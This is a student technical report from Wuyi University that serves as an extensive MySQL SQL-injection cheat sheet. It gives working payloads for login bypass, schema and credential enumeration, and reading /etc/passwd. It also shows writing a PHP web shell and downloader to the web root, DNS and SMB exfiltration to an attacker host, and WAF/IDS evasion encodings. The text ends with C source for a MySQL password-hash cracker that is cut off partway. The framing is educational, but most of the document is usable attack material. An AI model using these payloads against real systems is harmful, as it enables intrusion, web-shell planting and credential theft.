**五邑大学智能制造学部**



**数据安全相关技术报告**

**题 目：** SQL注入相关知识概述

**学 院**： 智能制造学部

**专 业**： 电子信息工程

**班 级**： 160809

**学 号**： 3116004309

**姓 名**： 郭兆镒

**指导教师**： 温强

**SQL注入相关知识概述**

**SQL注入原理：**

SQL（Structured Query Language），即结构化查询语句，是用于访问和处理数据库的标准的计算机语言。

而SQL注入（SQL Injection），就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。通俗的讲就是用户提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据。

SQL注入：利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，这是SQL注入的标准释义。

随着B/S模式被广泛的应用，用这种模式编写应用程序的程序员也越来越多，但由于开发人员的水平和经验参差不齐，相当一部分的开发人员在编写代码的时候，没有对用户的输入数据或者是页面中所携带的信息（如Cookie）进行必要的合法性判断，导致了攻击者可以提交一段数据库查询代码，根据程序返回的结果，获得一些他想得到的数据。

SQL注入利用的是正常的HTTP服务端口，表面上看来和正常的web访问没有区别，隐蔽性极强，不易被发现。

SQL注入攻击过程分为五个步骤：

第一步：判断Web环境是否可以SQL注入。

如果URL仅是对网页的访问，不存在SQL注入问题，如：http://www.../162414739931.shtml就是普通的网页访问。只有对数据库进行动态查询的业务才可能存在SQL注入。

第二步：寻找SQL注入点。

完成上一步的片断后，就要寻找可利用的注入漏洞，通过输入一些特殊语句，可以根据浏览器返回信息，判断数据库类型，从而构建数据库查询语句找到注入点。

第三步：猜解用户名和密码。

数据库中存放的表名、字段名都是有规律可言的。通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度，以及内容。这个猜测过程可以通过网上大量注入工具快速实现，并借助破解网站轻易破译用户密码。

第四步：寻找WEB管理后台入口。

通常WEB后台管理的界面不面向普通用户

开放，要寻找到后台的登陆路径，可以利用扫描工具快速搜索到可能的登陆地址，依次进行尝试，就可以试出管理台的入口地址。

第五步：入侵和破坏。

成功登陆后台管理后，接下来就可以任意进行破坏行为，如篡改网页、上传木马、修改、泄漏用户信息等，并进一步入侵数据库服务器。

SQL注入攻击的特点：

变种极多，有经验的攻击者会手动调整攻击参数，致使攻击数据的变种是不可枚举的，这导致传统的特征匹配检测方法仅能识别相当少的攻击，难以防范。

攻击过程简单，目前互联网上流行众多的SQL注入攻击工具，攻击者借助这些工具可很快对目标WEB系统实施攻击和破坏。

危害大，由于WEB编程语言自身的缺陷以及具有安全编程能力的开发人员少之又少，大多数WEB业务系统均具有被SQL注入攻击的可能。而攻击者一旦攻击成功，可以对控制整个WEB业务系统，对数据做任意的修改，破坏力达到及至。

该文章就是概述陈列一些SQL注入的相关知识

其中，SQL注入的相关知识点有以下的内容：

**MySQL**

## 一．默认数据库

其中的信息如下

|  |  |
| --- | --- |
| mysql | 需要根特权 |
| 信息图式 | 可从版本5及更高版本获得 |

## 二．测试注入

False表示查询无效(MySQL错误/网站上缺少内容)

True表示查询有效(内容按照常规显示)

1. **字符串**

给定查询 SELECT \* FROM Table WHERE id = '1';

|  |  |
| --- | --- |
| ' | 假 |
| '' | 真 |
| " | 假 |
| "" | 真 |
| \ | 假 |
| \\ | 真 |

*例子：*

*SELECT \* FROM Articles WHERE id = '1''';*

*SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';*

注：

你可以使用尽可能多的撇号和引号，只要它们成对就行。

还可以在引号链之后继续该语句。

引号转义引号

1. **数值**

给定查询 SELECT \* FROM Table WHERE id = 1;

|  |  |
| --- | --- |
| AND 1 | 真 |
| AND 0 | 假 |
| AND true | 真 |
| AND false | 假 |
| 1-false | 返回1（如果易受攻击） |
| 1-true | 返回0（如果易受攻击） |
| 1\*56 | 返回56（如果易受攻击） |
| 1\*56 | 返回1（如果易受攻击） |

*例子：*

* *SELECT \* FROM Users WHERE id = 3****- 2****；*

注：

true 等于1

false 等于0

1. **登录**

给定查询 SELECT \* FROM Table WHERE username = '';

|  |
| --- |
| ' OR '1 |
| ' OR 1 -- - |
| " OR "" = " |
| " OR 1 = 1 -- - |
| '=' |
| “LIKE” |
| '=0--+ |

*例子：*

*SELECT \* FROM Users WHERE username = 'Mike' AND password = '****' OR '' ='****；*

## 三．注释输出查询

**/\***

MySQL支持几种注释方式：

1.从‘#'字符从行尾。

2.从‘-- '序列到行尾。请注意‘-- '(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符等等)。

3.从/\*序列到后面的\*/序列。结束序列不一定在同一行中，因此该语法允许注释跨越多行。

**\*/**

以下内容可用于在注入后注释掉查询的其余部分：

|  |  |
| --- | --- |
| # | 散列注释 |
| /\* | C型注释 |
| -- - | SQL注释 |
| ;%00 | 空字节 |
| ` | 重音符 |

*例子：*

*SELECT \* FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';*

*SELECT \* FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';*

注：

在用作别名时，只使用倒勾符结束查询

## 测试版本

（1）**变量**

* VERSION()
* @@VERSION
* @@GLOBAL.VERSION

*例子：*

*SELECT \* FROM Users WHERE id = '1' AND MID(VERSION,1,1) = '5';*

注：

输出将包含 -nt-log 如果DBMS运行在基于Windows的机器上

1. **特定代码**

/\*!VERSION Specific Code\*/

*例子*：

给定查询 SELECT \* FROM Users limit 1,{INJECTION POINT};

|  |  |
| --- | --- |
| 一**/\*！594EAEA\*/**； | 假-版本等于或大于5.00 .94 |
| 一**/\*！500 96EAEA\*/**； | 真-版本小于5.00 .96 |
| 一**/\*！595EAEA\*/**； | 假-版本等于5.00 .95 |

注：

在无法将SQL添加到查询中的情况下，由于注入的位置，它对于确定版本可能很有用。

有关mysql特定代码的更多信息，请参见MySQL专用代码.

**/\***

扩：

Oracle 公司发布了MySQL5.5版本,这也是该公司获得MySQL后,对MySQL的第一次升级。Oracle表示，按照内部的标准，在Linux 上，MySQL 5.5的读写速度比5.1版本提升了360%。在Windows Server机器上，这方面性能的提升超过了1500%。MySQL 5.5版本的吞吐量更高。如果真如Oracle所言,MySQL5.5相对于MySQL5.1在性能方面有全面的提升,我公司也会考虑将数据迁移至 MySQL5.5。为了证实MySQL5.5的性能,本人对MySQL5.1与MySQL5.5的常用功能的性能作了一次对比测试,测试根据MySQL引擎类型分两大部分:myisam和innodb。每一引擎的测试内容又分为三部分:

1、当连接数不断增加时,MySQL平均每秒处理事务(读写混合模式和只读模式)的能力。

2、当数据库表的行数不断增加时,MySQL平均每秒处理事务(读写混合模式和只读模式)的能力。

3、同样的数据,MySQL5.1和MySQL5.5文件所占的空间大小(此方案只测试引擎myisam,因为innodb的全部数据都存放在ibdata1中,所以没有办法作比较)。

**\*/**

## 五．数据库凭证

|  |  |
| --- | --- |
| 表 | mysql.user |
| 列 | user, password |
| 当前用户 | user(), current\_user(), current\_user, system\_user(), session\_user() |

* SELECT **current\_user**;
* SELECT CONCAT\_WS(0x3A, **user**, **password**) FROM **mysql.user** WHERE user = 'root'-- (Privileged)

## 六．数据库名称

|  |  |
| --- | --- |
| 表 | information\_schema.schemata, mysql.db |
| 列 | schema\_name, db |
| 当前数据库 | database(), schema() |

*例子：*

* *SELECT****database()****;*
* *SELECT****schema\_name****FROM****information\_schema.schemata****;*
* *SELECT DISTINCT(****db****) FROM****mysql.db****;*

## 七．服务器主机名

* @@HOSTNAME

*例子：*

* *SELECT****@@hostname****;*

## 八．服务器MAC地址

通用唯一标识符是一个128位数字，其中最后12位数字是由接口MAC地址形成的

UUID()

*Output：*

* *aaaaaaaa-bbbb-cccc-dddd-****eeeeeeeeeeee****;*

注：

可以返回48位随机字符串，而不是某些操作系统上的MAC地址

## 九．表格和栏目（表和列）

**1.确定列数**

1. GROUP/ORDER BY

GROUP/ORDER BY n+1;

注：

一直递增这个数字，直到得到错误的响应为止。

尽管GROUPBY和ORDERBY在SQL中具有不同的功能，但它们都可以完全相同的方式用于确定查询中的列数。

*例子：*

*给定查询*

*SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';*

|  |  |
| --- | --- |
| 1' ORDER BY 1--+ | 真 |
| 1' ORDER BY 2--+ | 真 |
| 1' ORDER BY 3--+ | 真 |
| 1' ORDER BY 4--+ | 假-查询仅使用3列 |
| -1' UNION SELECT 1,2,3--+ | 真 |

1. Error Based

GROUP/ORDER BY 1,2,3,4,5...

注：

与前面的方法类似，如果启用错误显示，我们可以检查1列请求的列数。

*例子：*

*给定查询*

*SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'*

|  |  |
| --- | --- |
| 1' GROUP BY 1,2,3,4,5--+ | ‘group语句’中未知列‘4’ |
| 1' ORDER BY 1,2,3,4,5--+ | “Order子句”中未知列‘4’ |

1. Error Based 2

SELECT ... INTO var\_list, var\_list1, var\_list2...

注：

如果启用错误显示，则此方法有效。

当注入点在限制子句之后，找到列数是有用的

*例子1：*

*给定查询 SELECT permission FROM Users WHERE id = {INJECTION POINT};*

|  |  |
| --- | --- |
| -1 UNION SELECT 1 INTO @,@,@ | 使用的SELECT语句有不同的列数 |
| -1 UNION SELECT 1 INTO @,@ | 使用的SELECT语句有不同的列数 |
| -1 UNION SELECT 1 INTO @ | 无错误意味着查询使用1列 |

*例子2：*

*给定查询 SELECT username, permission FROM Users limit 1,{INJECTION POINT};*

|  |  |
| --- | --- |
| 1 INTO @,@,@ | 所使用的SELECT语句具有不同的列数。 |
| 1 INTO @,@ | 无错误意味着查询使用2列 |

1. Error Based 3

AND (SELECT \* FROM SOME\_EXISTING\_TABLE) = 1

注：

如果您知道要查找的表名，并且启用了错误显示，则此操作有效。

它将返回表中的列数，而不是查询。

*例子：*

*给定查询 SELECT permission FROM Users WHERE id = {INJECTION POINT};*

|  |  |
| --- | --- |
| 1 AND (SELECT \* FROM Users) = 1 | 操作数应包含3列（s） |

1. **检索表**
2. Union

UNION SELECT GROUP\_CONCAT(table\_name) FROM information\_schema.tables WHERE version=10;

1. Blind

AND SELECT SUBSTR(table\_name,1,1) FROM information\_schema.tables > 'A'

1. Error

|  |
| --- |
| AND(SELECT COUNT(\*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table\_name FROM information\_schema.tables LIMIT 1),FLOOR(RAND(0)\*2))) |
| (@:=1)||@ GROUP BY CONCAT((SELECT table\_name FROM information\_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); |
| AND ExtractValue(1, CONCAT(0x5c, (SELECT table\_name FROM information\_schema.tables LIMIT 1)));-- Available in 5.1.5 |

注：

MySQL 5的版本=10

1. **检索列**
2. Union

UNION SELECT GROUP\_CONCAT(column\_name) FROM information\_schema.columns WHERE table\_name = 'tablename'

1. Blind

AND SELECT SUBSTR(column\_name,1,1) FROM information\_schema.columns > 'A'

1. Error

|  |
| --- |
| AND(SELECT COUNT(\*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column\_name FROM information\_schema.columns LIMIT 1),FLOOR(RAND(0)\*2))) |
| (@:=1)||@ GROUP BY CONCAT((SELECT column\_name FROM information\_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); |
| AND ExtractValue(1, CONCAT(0x5c, (SELECT column\_name FROM information\_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5 |
| AND (1,2,3) = (SELECT \* FROM SOME\_EXISTING\_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1 |
| AND (SELECT \* FROM (SELECT \* FROM SOME\_EXISTING\_TABLE JOIN SOME\_EXISTING\_TABLE b) a) |
| AND (SELECT \* FROM (SELECT \* FROM SOME\_EXISTING\_TABLE JOIN SOME\_EXISTING\_TABLE b USING (SOME\_EXISTING\_COLUMN)) a) |

1. PROCEDURE ANALYSE()

PROCEDURE ANALYSE()

注：

* Web应用程序必须在注入到的SQL查询中显示所选列之一

*例子：*

*给定查询 SELECT username, permission FROM Users WHERE id = 1;*

|  |  |
| --- | --- |
| 1 PROCEDURE ANALYSE() | 获取第一列的名称 |
| 1 LIMIT 1,1 PROCEDURE ANALYSE() | 获取第二列的名称 |
| 1 LIMIT 2,1 PROCEDURE ANALYSE() | 获取第三列的名称 |

1. **一次检索多个表/列**

* SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information\_schema.columns) WHERE (table\_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table\_schema,' ] >',table\_name,' > ',column\_name))))x

*例子：*

* *SELECT \* FROM Users WHERE id = '-1' UNION SELECT 1, 2,****(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information\_schema.columns) WHERE (table\_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table\_schema,' ] >',table\_name,' > ',column\_name))))x)****, 4--+';*

Output：

[ information\_schema ] >CHARACTER\_SETS > CHARACTER\_SET\_NAME

[ information\_schema ] >CHARACTER\_SETS > DEFAULT\_COLLATE\_NAME

[ information\_schema ] >CHARACTER\_SETS > DESCRIPTION

[ information\_schema ] >CHARACTER\_SETS > MAXLEN

[ information\_schema ] >COLLATIONS > COLLATION\_NAME

[ information\_schema ] >COLLATIONS > CHARACTER\_SET\_NAME

[ information\_schema ] >COLLATIONS > ID

[ information\_schema ] >COLLATIONS > IS\_DEFAULT

[ information\_schema ] >COLLATIONS > IS\_COMPILED

* SELECT MID(GROUP\_CONCAT(0x3c62723e, 0x5461626c653a20, table\_name, 0x3c62723e, 0x436f6c756d6e3a20, column\_name ORDER BY (SELECT version FROM information\_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information\_schema.columns

*例子：*

* *SELECT username FROM Users WHERE id = '-1' UNION SELECT****MID(GROUP\_CONCAT(0x3c62723e, 0x5461626c653a20, table\_name, 0x3c62723e, 0x436f6c756d6e3a20, column\_name ORDER BY (SELECT version FROM information\_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information\_schema.columns****--+';*

Output：

Table: talk\_revisions

Column: revid

Table: talk\_revisions

Column: userid

Table: talk\_revisions

Column: user

Table: talk\_projects

Column: priority

1. **从列名查找表**

|  |  |
| --- | --- |
| SELECT table\_name FROM information\_schema.columns WHERE column\_name = 'username'; | 查找任何名为username的列的表名 |
| SELECT table\_name FROM information\_schema.columns WHERE column\_name LIKE '%user%'; | 查找包含单词user的任何列的表名 |

1. **从表名中查找列**

|  |  |
| --- | --- |
| SELECT column\_name FROM information\_schema.columns WHERE table\_name = 'Users'; | 查找Users表的列 |
| SELECT column\_name FROM information\_schema.columns WHERE table\_name LIKE '%user%'; | 查找包含单词user的任何表的列名 |

1. **查找当前查询**

|  |  |
| --- | --- |
| SELECT info FROM information\_schema.processlist | 可从MySQL 5.1.7开始 |

## 十．避免引用

|  |  |
| --- | --- |
| SELECT \* FROM Users WHERE username = 0x61646D696E | 十六进制编码 |
| SELECT \* FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | CHAR()函数 |

## 十一．字符串连接

|  |
| --- |
| SELECT 'a' 'd' 'mi' 'n'; |
| SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
| SELECT CONCAT\_WS('', 'a', 'd', 'm', 'i', 'n'); |
| SELECT GROUP\_CONCAT('a', 'd', 'm', 'i', 'n'); |

注：

CONCAT()如果它的任何论证都是空的，它将返回空。代替使用CONCAT\_WS().

第一个论点CONCAT\_WS()为其余参数定义分隔符

**/\***

CONCAT(str1,str2,...)

返回来自于参数连结的字符串。如果任何参数是NULL，返回NULL。可以有超过2个的参数。一个数字参数被变换为等价的字符串形式。

mysql> select CONCAT('My', 'S', 'QL');

-> 'MySQL'

mysql> select CONCAT('My', NULL, 'QL');

-> NULL

mysql> select CONCAT(14.3);

-> '14.3'

如：update test set ID=concat(ID,'ABC');

放在前面就连接到前面，放在后面就连接在后面**。**

**\*/**

## 十二．条件语句

|  |
| --- |
| CASE |
| IF() |
| IFNULL() |
| NULLIF( |

*例子：*

* *SELECT****IF(****1=1, true, false****)****;*
* *SELECT****CASE WHEN****1=1****THEN****true****ELSE****false****END****;*

**/\***

IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL)，则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值，具体情况视其所在语境而定。

IFNULL(expr1,expr2)

假如expr1 不为 NULL，则 IFNULL() 的返回值为 expr1; 否则其返回值为 expr2。IFNULL()的返回值是数字或是字符串，具体情况取决于其所使用的语境。

**\*/**

## 十三．计时

|  |  |
| --- | --- |
| SLEEP() | MySQL 5 |
| BENCHMARK() | MySQL 4/5 |

*例子：*

*' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '*

## 十四．特权

文件特权

以下查询可帮助确定给定用户的文件权限。

|  |  |  |
| --- | --- | --- |
| SELECT file\_priv FROM mysql.user WHERE user = 'username'; | 需要根特权 | MySQL 4/5 |
| SELECT grantee, is\_grantable FROM information\_schema.user\_privileges WHERE privilege\_type = 'file' AND grantee like '%username%'; | 不需要特权 | MySQL 5 |

## 十五．读取文件

如果用户拥有文件权限，则可以读取文件

* LOAD\_FILE()

*例子：*

* *SELECT****LOAD\_FILE(****'/etc/passwd'****)****;*
* *SELECT****LOAD\_FILE(****0x2F6574632F706173737764****)****;*

注：

文件必须位于服务器主机上。

load\_file()的基目录是 @@datadir .

MySQL用户必须读取该文件。

文件大小必须小于max\_LEXED\_PACKET。

@@max\_allowed\_packet默认大小是1047552字节。

## 十六．书写文件

如果用户拥有文件权限，则可以创建文件

* INTO OUTFILE/DUMPFILE
* 若要编写PHP shell，请执行以下操作：
* SELECT '<? system($\_GET[\'c\']); ?>' **INTO OUTFILE** '/var/www/shell.php';
* 然后访问：
* http://localhost/shell.php?c=cat%20/etc/passwd

编写下载程序：

* SELECT '<? fwrite(fopen($\_GET[f], \'w\'), file\_get\_contents($\_GET[u])); ?>' **INTO OUTFILE** '/var/www/get.php'

然后访问：

* http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

注：

文件不能用 INTO OUTFILE 改写.

INTO OUTFILE 必须是查询中的最后一条语句。

无法对路径名进行编码，因此需要引号。

## 十七．带外信道

1. **DNS请求**

SELECT LOAD\_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

1. **SMB请求**

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

## 十八．堆叠查询

MySQL的堆叠查询是可能的，这取决于PHP应用程序正在使用哪个驱动程序与数据库通信。

这个 PDO\_MYSQL驱动程序支持堆叠查询。这个MySQLi（改进的扩展）驱动程序还支持通过 multi\_query()功能

*例子：*

* *SELECT \* FROM Users WHERE ID=1 AND 1=0****;****INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');*
* *SELECT \* FROM Users WHERE ID=1 AND 1=0****;****SHOW COLUMNS FROM Users;*

**/\***

堆叠查询为攻击者提供了大量的控制。通过终止原始查询并添加新查询，可以修改数据并调用存储过程,SQL中，分号表示已到达语句的末尾，后面的是一个新的语句。这允许在与数据库服务器相同的调用中执行多个语句。与限制选择语句的联合攻击相反，堆叠查询可用于执行任何SQL语句或过程。

**\*/**

## 十九．MySQL专用代码

MySQL允许您在感叹号之后指定版本号。只有当版本大于或等于指定的版本号时，才会执行注释中的语法

*例子：*

* *UNION SELECT****/\*!50000****5,null;%00****\*//\*!40000****4,null-- ,****\*//\*!30000****3,null-- x****\*/****0,null--+*
* *SELECT 1****/\*!41320****UNION****/\*!/\*!/\*!00000****SELECT****/\*!/\*!****USER****/\*!****(****/\*!/\*!/\*!\*/****);*

注：

第一个示例返回版本；它使用带有2列的UNION。

第二个示例演示了这对于绕过WAF/IDS是如何有用的。

## 二十.模糊混淆

1. **允许中间字符**

下面的字符可以用作空白字符

|  |  |
| --- | --- |
| 09 | 水平制表符 |
| 0A | 换行 |
| 0B | 垂直制表符 |
| 0C | 新建页面 |
| 0D | 回车 |
| A0 | 空格 |
| 20 | 空间 |

*例子：*

* *'****%0A%09****UNION****%0C****SELECT****%A0****NULL****%20****%23*

括号也可以用来避免使用空格

|  |  |
| --- | --- |
| 28 | ( |
| 29 | ) |

*例子：*

* *UNION****(****SELECT****(****column****)****FROM****(****table****))***

1. **允许在AND/OR之后的中间字符**

|  |  |
| --- | --- |
| 20 | Space |
| 2B | + |
| 2D | - |
| 7E | ~ |
| 21 | ! |
| 40 | @ |

*例子：*

* *SELECT 1 FROM dual WHERE 1=1 AND****-+-+-+-+~~****((1))*

注：

dual 是一个可用于测试的虚拟表。

1. **用注释混淆**

注释可用于分解查询以欺骗WAF/IDS并避免检测。通过使用#或-后面跟着换行符，我们可以将查询分割成不同的行。

*例子：*

*1'****#****AND 0****--****UNION****# I am a comment!****SELECT@tmp:=table\_name x FROM****--****`information\_schema`.tables LIMIT 1****#***

对注入进行编码的URL如下所示：

* 1'**%23%0A**AND 0**--%0A**UNION**%23 I am a comment!%0A**SELECT@tmp:=table\_name x FROM**--%0A**`information\_schema`.tables LIMIT 1**%23**

某些函数也可以用注释和空白来混淆

* VERSION**/\*\*/%A0** (**/\*comment\*/**)

1. **编码**

对注入进行编码有时对WAF/IDS规避很有用

|  |  |
| --- | --- |
| URL 编码 | SELECT %74able\_%6eame FROM information\_schema.tables; |
| 双 URL编码 | SELECT %2574able\_%256eame FROM information\_schema.tables; |
| Unicode 编码 | SELECT %u0074able\_%u6eame FROM information\_schema.tables; |
| 无效十六进制编码 (ASP) | SELECT %tab%le\_%na%me FROM information\_schema.tables; |

1. **回避关键词**

如果IDS/WAF阻止了某些关键字，则可以使用其他方法绕过它而不使用编码

信息图表

|  |  |
| --- | --- |
| Spaces | information\_schema . tables |
| 反引号 | `information\_schema`.`tables` |
| 特定代码 | /\*!information\_schema.tables\*/ |
| 替代名称 | information\_schema.partitions  information\_schema.statistics  information\_schema.key\_column\_usage  information\_schema.table\_constraints |

注：

备用名称可能取决于表中存在的主键

## 二十一.运算符

|  |  |
| --- | --- |
| [AND , &&](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html#operator_and) | 逻辑与 |
| [=](http://dev.mysql.com/doc/refman/5.6/en/assignment-operators.html#operator_assign-equal) | 赋值(作为[SET](http://dev.mysql.com/doc/refman/5.6/en/set-statement.html" \t "https://websec.ca/kb/_blank)语句，或作为 SET 从句[UPDATE](http://dev.mysql.com/doc/refman/5.6/en/update.html" \t "https://websec.ca/kb/_blank)声明) |
| [:=](http://dev.mysql.com/doc/refman/5.6/en/assignment-operators.html#operator_assign-value) | 赋值 |
| [BETWEEN ... AND ...](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_between) | 检查一个值是否在值的范围内 |
| [BINARY](http://dev.mysql.com/doc/refman/5.6/en/cast-functions.html#operator_binary) | 将字符串转换为二进制字符串 |
| [&](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html#operator_bitwise-and) | 按位与 |
| [~](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html#operator_bitwise-invert) | 倒位 |
| [|](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html#operator_bitwise-or) | 按位或 |
| [^](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html#operator_bitwise-xor) | 按位异或 |
| [CASE](http://dev.mysql.com/doc/refman/5.6/en/control-flow-functions.html#operator_case) | 案例运算符 |
| [DIV](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html#operator_div) | 整数除法 |
| [/](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html#operator_divide) | 除法运算符 |
| [<=>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_equal-to) | 空安全等于运算符 |
| [=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_equal) | 等于运算符 |
| [>=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_greater-than-or-equal) | 大于或等于运算符 |
| [>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_greater-than) | 大于运算符 |
| [IS NOT NULL](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_is-not-null) | 非零值检验 |
| [IS NOT](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_is-not) | 根据布尔值进行测试 |
| [IS NULL](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_is-null) | 零值检验 |
| [IS](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_is) | 对布尔值进行测试 |
| [<<](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html#operator_left-shift) | 左移 |
| [<=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_less-than-or-equal) | 小于或相等运算符 |
| [<](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_less-than) | 小于运算符 |
| [LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-comparison-functions.html#operator_like) | 简单模式匹配 |
| [-](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html#operator_minus) | 负运算符 |
| [% or MOD](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html#operator_mod) | 模运算符 |
| [NOT BETWEEN ... AND ...](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_not-between) | 检查某个值是否不在值的范围内。 |
| [!= , <>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html#operator_not-equal) | 不相等运算符 |
| [NOT LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-comparison-functions.html#operator_not-like) | 简单模式匹配的否定 |
| [NOT REGEXP](http://dev.mysql.com/doc/refman/5.6/en/regexp.html#operator_not-regexp) | REGEXP的否定 |
| [NOT , !](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html#operator_not) | 否定值 |
| [|| , OR](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html#operator_or) | 逻辑OR |
| [+](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html#operator_plus) | 加法运算符 |
| [REGEXP](http://dev.mysql.com/doc/refman/5.6/en/regexp.html#operator_regexp) | 使用正则表达式的模式匹配 |
| [>>](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html#operator_right-shift) | 右移 |
| [RLIKE](http://dev.mysql.com/doc/refman/5.6/en/regexp.html#operator_regexp) | REGEXP的同义词 |
| [SOUNDS LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-functions.html#operator_sounds-like) | 比较音 |
| [\*](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html#operator_times) | 乘法运算符 |
| [-](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html#operator_unary-minus) | 更改论点的符号 |
| [XOR](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html#operator_xor) | 逻辑异或 |

## 二十二.常量

|  |
| --- |
| current\_user |
| null, \N |
| true, false |

## 二十三.密码散列

在MySQL4.1之前，由Password()函数计算的密码散列长度为16字节。这样的散列看起来如下：

|  |  |
| --- | --- |
| PASSWORD('mypass') | 6f8c114b58f2ce9e |

对于MySQL 4.1，PASSWORD（）函数已被修改以产生更长的41字节散列值：

|  |  |
| --- | --- |
| PASSWORD('mypass') | \*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |

## 二十四.密码破解

Cain & Abel和John the Ripper都能破解MySQL 3.x-6.x密码

下面链接可以找到用于JTR的Metasploit模块。http://www.metasploit.com/modules/auxiliary/analyze/jtr\_mysql\_fast.

约翰开膛手MySQL密码破解(快速模式)

描述

这个模块使用“开膛手约翰”来识别从MySQL\_hashdump模块获得的弱密码。密码已成功破解，然后保存为适当的凭据。

要显示可用的选项，请在Metasploit控制台中加载模块，并运行命令“显示选项”或“显示高级”：

msf > use auxiliary/analyze/jtr\_mysql\_fast

msf auxiliary(jtr\_mysql\_fast) > show actions

...actions...

msf auxiliary(jtr\_mysql\_fast) > set ACTION < action-name >

msf auxiliary(jtr\_mysql\_fast) > show options

...show and set options...

msf auxiliary(jtr\_mysql\_fast) > run

MySQL<4.1密码破解器

这个工具是一个用于MySQL哈希密码的高速蛮力密码破解器.它可以破解一个包含任何可打印的ASCII字符的8字符密码，在普通PC上只需几个小时

/\* This program is public domain. Share and enjoy.

\*

\* Example:

\* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast

\* $ MySQLfast 6294b50f67eda209

\* Hash: 6294b50f67eda209

\* Trying length 3

\* Trying length 4

\* Found pass: barf

\*

\* The MySQL password hash function could be strengthened considerably

\* by:

\* - making two passes over the password

\* - using a bitwise rotate instead of a left shift

\* - causing more arithmetic overflows

\*/

#include <stdio.h>

typedef unsigned long u32;

/\* Allowable characters in password; 33-126 is printable ascii \*/

#define MIN\_CHAR 33

#define MAX\_CHAR 126

/\* Maximum length of password \*/

#define MAX\_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int \*pass\_ary)

{

int i, c;

u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;

u32 newstate1, newstate2, newstate3;

u32 state1\_ary[MAX\_LEN-2], state2\_ary[MAX\_LEN-2];

u32 xor\_ary[MAX\_LEN-3], step\_ary[MAX\_LEN-3];

i = -1;

sum = 7;

state1\_ary[0] = 1345345333L;

state2\_ary[0] = 0x12345671L;

while (1) {

while (i < stop) {

i++;

pass\_ary[i] = MIN\_CHAR;

step\_ary[i] = (state1\_ary[i] & 0x3f) + sum;

xor\_ary[i] = step\_ary[i]\*MIN\_CHAR + (state1\_ary[i] << 8);

sum += MIN\_CHAR;

